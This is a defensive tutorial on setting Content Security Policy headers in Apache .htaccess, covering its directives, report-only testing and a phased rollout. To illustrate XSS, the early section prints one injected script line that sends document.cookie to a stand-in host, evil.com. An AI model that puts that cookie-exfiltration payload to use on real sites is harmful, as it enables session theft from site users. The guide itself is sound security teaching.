Skip to main content

Content Security Policy (CSP) in .htaccess

Content Security Policy is one of the most powerful defenses available against cross-site scripting (XSS) and data injection attacks. It works by telling the browser exactly which sources of content are trusted for your website. If an attacker manages to inject a malicious script tag, an unauthorized iframe, or a rogue stylesheet into your page, the browser blocks it because it does not come from an approved source.

This guide explains what CSP prevents, how to set the header in .htaccess, walks through every common directive with practical examples, introduces report-only mode for safe testing, and provides a step-by-step strategy for adopting CSP incrementally without breaking your site.

What CSP Prevents

CSP addresses two major categories of attacks that exploit the browser's trust in the content it receives from your server.

Cross-Site Scripting (XSS)

Cross-site scripting is the most common web security vulnerability. It occurs when an attacker injects malicious JavaScript into a page that other users view. The injected script runs in the context of your site, with full access to cookies, session tokens, and the DOM.

Without CSP, if an attacker finds a way to inject this into your page:

<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>

The browser executes it without question because it has no way to distinguish between scripts you intended to load and scripts an attacker injected.

With CSP, you declare that scripts should only load from your own domain:

Content-Security-Policy: script-src 'self'

Now the browser blocks any inline script and any script loaded from a domain other than your own. The injected code is neutralized before it can execute.

Common XSS attack vectors that CSP blocks:

  • Inline scripts injected through user input that is not properly sanitized.
  • Event handler attributes like onload="maliciousCode()" added to HTML elements.
  • Script tags pointing to attacker-controlled domains.
  • eval() and similar functions that execute strings as code.
  • javascript: URIs in links and other attributes.

Data Injection

Beyond script injection, attackers can inject other types of content to deface your site, steal data, or trick users:

  • Rogue stylesheets that visually alter your page to display fake login forms or misleading content.
  • Unauthorized iframes that embed phishing pages within your site.
  • Malicious images or media loaded from attacker-controlled servers for tracking or exploitation.
  • Unauthorized form actions that redirect form submissions to an attacker's server.
  • Unwanted plugins or objects (Flash, Java applets) injected to exploit browser vulnerabilities.

CSP lets you lock down every type of resource individually, creating a comprehensive whitelist that the browser enforces on every page load.

note

No single CSP policy fits all websites. Your policy must reflect the specific resources your site uses: your CDN domains, analytics services, font providers, embedded widgets, and any other third-party content. A policy that works for a simple blog will break a complex web application, and vice versa.

Setting the Header

CSP is delivered as an HTTP response header. In .htaccess, you configure it using the Header directive from mod_headers.

Basic Syntax

<IfModule mod_headers.c>
Header set Content-Security-Policy "default-src 'self'"
</IfModule>

This sends the following header with every response:

Content-Security-Policy: default-src 'self'

Targeting Specific Content Types

CSP is primarily relevant for HTML documents and JavaScript files. Sending the header with images, fonts, or CSS files is unnecessary and wastes bandwidth. You can limit the header to relevant content types using an Apache expression:

<IfModule mod_headers.c>
Header set Content-Security-Policy "default-src 'self'; script-src 'self'" "expr=%{CONTENT_TYPE} =~ m#text\/(html|javascript)|application\/pdf|xml#i"
</IfModule>

The expression expr=%{CONTENT_TYPE} =~ m#text/(html|javascript)|application/pdf|xml#i ensures the CSP header is only added to responses with matching content types. The # characters are used as regex delimiters (instead of the usual /) to avoid escaping the slashes within the content type strings.

Header set vs Header always set

# Only added to 2xx and 3xx responses
Header set Content-Security-Policy "default-src 'self'"

# Added to ALL responses, including 4xx and 5xx errors
Header always set Content-Security-Policy "default-src 'self'"

Use always set if your error pages (404, 500, etc.) also serve HTML content that should be protected by CSP. For most sites, always set is the safer choice because custom error pages are still potential XSS targets.

A Starting Example

Here is a reasonably strict starting policy:

<IfModule mod_headers.c>
Header always set Content-Security-Policy "default-src 'self'; base-uri 'none'; form-action 'self'; frame-ancestors 'none'; upgrade-insecure-requests"
</IfModule>

This policy:

  • Allows resources only from your own domain (default-src 'self').
  • Prevents your site from being used in a <base> tag attack (base-uri 'none').
  • Restricts form submissions to your own domain (form-action 'self').
  • Prevents your site from being embedded in frames (frame-ancestors 'none').
  • Automatically upgrades HTTP resource requests to HTTPS (upgrade-insecure-requests).

Common Directives

CSP is built from directives, each controlling a specific type of resource. If a directive is not explicitly set, it falls back to the value of default-src. If default-src is also not set, resources of that type are unrestricted.

default-src

The fallback directive for all resource types that do not have their own specific directive. Think of it as the baseline policy.

Header always set Content-Security-Policy "default-src 'self'"

With this policy, all resource types (scripts, styles, images, fonts, connections, frames, etc.) are restricted to your own origin unless explicitly overridden by a more specific directive.

Common values:

ValueMeaning
'none'Block everything. No resources of any type are allowed.
'self'Only allow resources from the same origin (scheme + host + port).
https:Allow resources from any HTTPS origin.
example.comAllow resources from a specific domain.
tip

Start with default-src 'self' and then add specific directives to loosen the policy only where needed. This "deny by default, allow by exception" approach is far safer than trying to block specific sources.

script-src

Controls where JavaScript can be loaded from and how it can be executed. This is the most critical directive for XSS prevention.

Header always set Content-Security-Policy "default-src 'self'; script-src 'self' https://cdn.example.com"

This allows scripts from your own domain and from https://cdn.example.com. Scripts from any other source are blocked.

Important keyword values for script-src:

ValueMeaning
'self'Scripts from the same origin.
'none'No scripts allowed at all.
'unsafe-inline'Allows inline <script> tags and event handlers. Weakens CSP significantly.
'unsafe-eval'Allows eval(), Function(), and similar dynamic code execution. Security risk.
'nonce-<value>'Allows specific inline scripts identified by a unique nonce.
'sha256-<hash>'Allows specific inline scripts identified by their content hash.
'strict-dynamic'Allows scripts loaded by already-trusted scripts.

Example with multiple sources:

Header always set Content-Security-Policy "default-src 'self'; script-src 'self' https://cdn.jsdelivr.net https://www.googletagmanager.com https://www.google-analytics.com"
warning

Avoid 'unsafe-inline' and 'unsafe-eval' whenever possible. Adding 'unsafe-inline' to script-src essentially disables CSP's XSS protection because attackers inject inline scripts. If your application requires inline scripts, use nonce-based or hash-based whitelisting instead, though these typically require server-side code to generate and cannot be managed purely through .htaccess.

style-src

Controls where CSS stylesheets can be loaded from and whether inline styles are allowed.

Header always set Content-Security-Policy "default-src 'self'; style-src 'self' https://fonts.googleapis.com"

This allows stylesheets from your own domain and from Google Fonts. Inline <style> blocks are blocked unless you add 'unsafe-inline'.

Unlike script-src, adding 'unsafe-inline' to style-src is less dangerous because CSS injection has fewer exploitation vectors than JavaScript injection. Many sites pragmatically include 'unsafe-inline' for styles while keeping scripts tightly controlled:

Header always set Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com"

img-src

Controls where images can be loaded from.

Header always set Content-Security-Policy "default-src 'self'; img-src 'self' data: https://images.example.com https://*.cloudinary.com"
ValueMeaning
'self'Images from the same origin.
data:Allows Base64-encoded inline images (data:image/png;base64,...). Common in many applications.
blob:Allows images created from Blob URLs (used by canvas and file APIs).
https:Allows images from any HTTPS source.

The data: scheme is commonly needed for small inline images, CSS backgrounds using data URIs, and dynamically generated images from canvas elements.

font-src

Controls where web fonts can be loaded from.

Header always set Content-Security-Policy "default-src 'self'; font-src 'self' https://fonts.gstatic.com data:"

Google Fonts, for example, requires two domains: fonts.googleapis.com for the CSS (covered by style-src) and fonts.gstatic.com for the actual font files (covered by font-src).

The data: scheme is sometimes needed for fonts embedded as data URIs in CSS files.

connect-src

Controls which URLs the page can contact using JavaScript APIs: fetch(), XMLHttpRequest, WebSocket, EventSource, and the Beacon API.

Header always set Content-Security-Policy "default-src 'self'; connect-src 'self' https://api.example.com wss://realtime.example.com"
ValuePurpose
'self'API calls to your own origin.
https://api.example.comCalls to your API on a different subdomain.
wss://realtime.example.comWebSocket connections for real-time features.
https://www.google-analytics.comAnalytics beacon/tracking requests.
https://sentry.ioError reporting service.

This directive is critical for single-page applications that make API calls to backend services. If your API is on a different domain or subdomain, it must be listed here.

frame-ancestors

Controls which sites can embed your page in an <iframe>, <frame>, <object>, or <embed>. This is CSP's replacement for the older X-Frame-Options header.

Header always set Content-Security-Policy "default-src 'self'; frame-ancestors 'none'"
ValueMeaning
'none'Your site cannot be embedded anywhere. Strongest protection against clickjacking.
'self'Your site can only be embedded by pages on the same origin.
https://trusted-partner.comOnly the specified domain can embed your site.

Common mistake: confusing frame-ancestors with frame-src:

  • frame-ancestors controls who can embed YOUR page (defense against clickjacking).
  • frame-src controls what YOUR page can embed (which iframes your page is allowed to load).
# Prevent others from framing your site AND restrict what you embed
Header always set Content-Security-Policy "frame-ancestors 'none'; frame-src 'self' https://www.youtube.com"
note

frame-ancestors is not subject to the default-src fallback. If you do not explicitly set frame-ancestors, framing is unrestricted regardless of your default-src setting. Always set it explicitly.

Comprehensive Policy Example

Here is a realistic policy for a website that uses Google Fonts, Google Analytics, a CDN for static assets, and an API on a subdomain:

Comprehensive CSP for a typical website
<IfModule mod_headers.c>
Header always set Content-Security-Policy "\
default-src 'self'; \
script-src 'self' https://cdn.example.com https://www.googletagmanager.com https://www.google-analytics.com; \
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; \
img-src 'self' data: https://images.example.com https://www.google-analytics.com; \
font-src 'self' https://fonts.gstatic.com; \
connect-src 'self' https://api.example.com https://www.google-analytics.com; \
frame-ancestors 'none'; \
base-uri 'self'; \
form-action 'self'; \
upgrade-insecure-requests"
</IfModule>
tip

You can validate your CSP header using Google's CSP Evaluator. Paste your policy and the tool will highlight potential weaknesses and suggest improvements. This is especially useful for catching overly permissive rules like 'unsafe-inline' or wildcard domains.

Content-Security-Policy-Report-Only

Deploying a strict CSP on a live site without testing is risky. One missing source domain and your site's functionality breaks: images disappear, scripts stop running, fonts fail to load. The Content-Security-Policy-Report-Only header solves this by letting you test a policy without enforcing it.

<IfModule mod_headers.c>
Header always set Content-Security-Policy-Report-Only "default-src 'self'; script-src 'self'; report-uri /csp-report-endpoint"
</IfModule>

With Report-Only:

  • The browser evaluates the policy against every resource on the page.
  • Resources that would be blocked are logged as violations.
  • Nothing is actually blocked. The page functions normally.
  • Violation reports are sent to the URL specified in report-uri (or report-to in newer browsers).

Report URI vs Report To

There are two mechanisms for receiving violation reports:

report-uri (widely supported, being deprecated):

Header always set Content-Security-Policy-Report-Only "default-src 'self'; report-uri /csp-violations"

The browser sends a JSON POST request to /csp-violations for each violation:

{
"csp-report": {
"document-uri": "https://example.com/page",
"referrer": "",
"violated-directive": "script-src 'self'",
"effective-directive": "script-src",
"original-policy": "default-src 'self'; script-src 'self'; report-uri /csp-violations",
"blocked-uri": "https://cdn.untrusted.com/script.js",
"status-code": 200
}
}

report-to (modern standard, use alongside report-uri for compatibility):

Header always set Report-To '{"group":"csp-endpoint","max_age":10886400,"endpoints":[{"url":"https://example.com/csp-reports"}]}'
Header always set Content-Security-Policy-Report-Only "default-src 'self'; report-to csp-endpoint; report-uri /csp-violations"

Including both report-to and report-uri ensures compatibility across older and newer browsers.

Using a Report Collection Service

Processing CSP reports yourself requires building a JSON endpoint, storing reports, and analyzing them. Several services handle this for you:

  • Report URI (dedicated CSP reporting service)
  • Sentry (error tracking with CSP support)
Header always set Content-Security-Policy-Report-Only "default-src 'self'; script-src 'self'; report-uri https://your-account.report-uri.com/r/d/csp/reportOnly"

Incremental CSP Adoption Strategy

Deploying CSP is not a single step. It is a process that should be approached gradually to avoid breaking your site while progressively tightening security.

Phase 1: Audit Your Resources

Before writing any policy, catalog every external resource your site loads. Open your browser's developer tools (Network tab) and navigate through your site, noting every domain that appears:

Resource TypeDomains Used
Scriptsself, cdn.example.com, googletagmanager.com
Stylesself, fonts.googleapis.com
Fontsfonts.gstatic.com
Imagesself, images.example.com, data: URIs
API callsapi.example.com, google-analytics.com
Framesyoutube.com (embedded videos)

Phase 2: Deploy Report-Only

Build a policy based on your audit and deploy it in report-only mode:

Phase 2: Report-Only CSP
<IfModule mod_headers.c>
Header always set Content-Security-Policy-Report-Only "\
default-src 'self'; \
script-src 'self' https://cdn.example.com https://www.googletagmanager.com; \
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; \
img-src 'self' data: https://images.example.com; \
font-src 'self' https://fonts.gstatic.com; \
connect-src 'self' https://api.example.com https://www.google-analytics.com; \
frame-src https://www.youtube.com; \
frame-ancestors 'none'; \
report-uri /csp-violations"
</IfModule>

Let this run for at least one to two weeks while monitoring the reports. You will likely discover resources you missed during the audit: third-party widgets loaded by tag managers, analytics pixels, A/B testing scripts, and other dynamically loaded content.

Phase 3: Fix Violations

Review the collected reports and for each violation, decide:

  1. Is this a legitimate resource? Add its domain to the appropriate directive.
  2. Is this an unnecessary resource? Remove it from your site.
  3. Is this a potential attack? Investigate and address the injection point.

Update your report-only policy and continue monitoring until violations stop (or are reduced to known, acceptable items).

Phase 4: Enforce the Policy

Once you are confident the policy is correct, switch from Report-Only to enforcement while keeping reporting active:

Phase 4: Enforced CSP with reporting
<IfModule mod_headers.c>
Header always set Content-Security-Policy "\
default-src 'self'; \
script-src 'self' https://cdn.example.com https://www.googletagmanager.com; \
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; \
img-src 'self' data: https://images.example.com; \
font-src 'self' https://fonts.gstatic.com; \
connect-src 'self' https://api.example.com https://www.google-analytics.com; \
frame-src https://www.youtube.com; \
frame-ancestors 'none'; \
base-uri 'self'; \
form-action 'self'; \
upgrade-insecure-requests; \
report-uri /csp-violations"
</IfModule>

The only change is the header name: Content-Security-Policy instead of Content-Security-Policy-Report-Only. Now violations are both blocked and reported.

Phase 5: Tighten Over Time

With the enforced policy running smoothly, gradually tighten it:

  • Replace 'unsafe-inline' in style-src with hash-based or nonce-based whitelisting if your application supports it.
  • Narrow wildcard domains to specific subdomains.
  • Remove sources you no longer use.
  • Add 'strict-dynamic' to script-src if your scripts load other scripts.

Common Mistake: Deploying a Strict Policy Without Testing

Wrong approach:

# Deployed directly to production without testing
Header always set Content-Security-Policy "default-src 'none'; script-src 'self'"

This blocks all images, fonts, styles, connections, and frames. The site appears completely broken: no CSS, no images, no external resources of any kind. Users see a bare HTML page with no styling.

Correct approach:

Always start with Content-Security-Policy-Report-Only, monitor for violations, fix the policy, and only then switch to enforcement. This process protects your users from policy-induced outages while still letting you identify and address security gaps.

caution

CSP is a living configuration. Every time you add a new third-party service, switch CDN providers, add analytics tools, or integrate new widgets, you must update your CSP to include the new domains. Make CSP updates part of your deployment checklist for any change that introduces new external resources.

Content Security Policy is not a set-and-forget configuration. It is an ongoing commitment to understanding exactly what your site loads and from where. But that commitment pays for itself many times over. A well-crafted CSP is the difference between a site where an XSS vulnerability is a theoretical risk and one where it becomes a full-blown data breach. Start with report-only mode, build your policy based on real data, enforce it with confidence, and refine it continuously as your site evolves.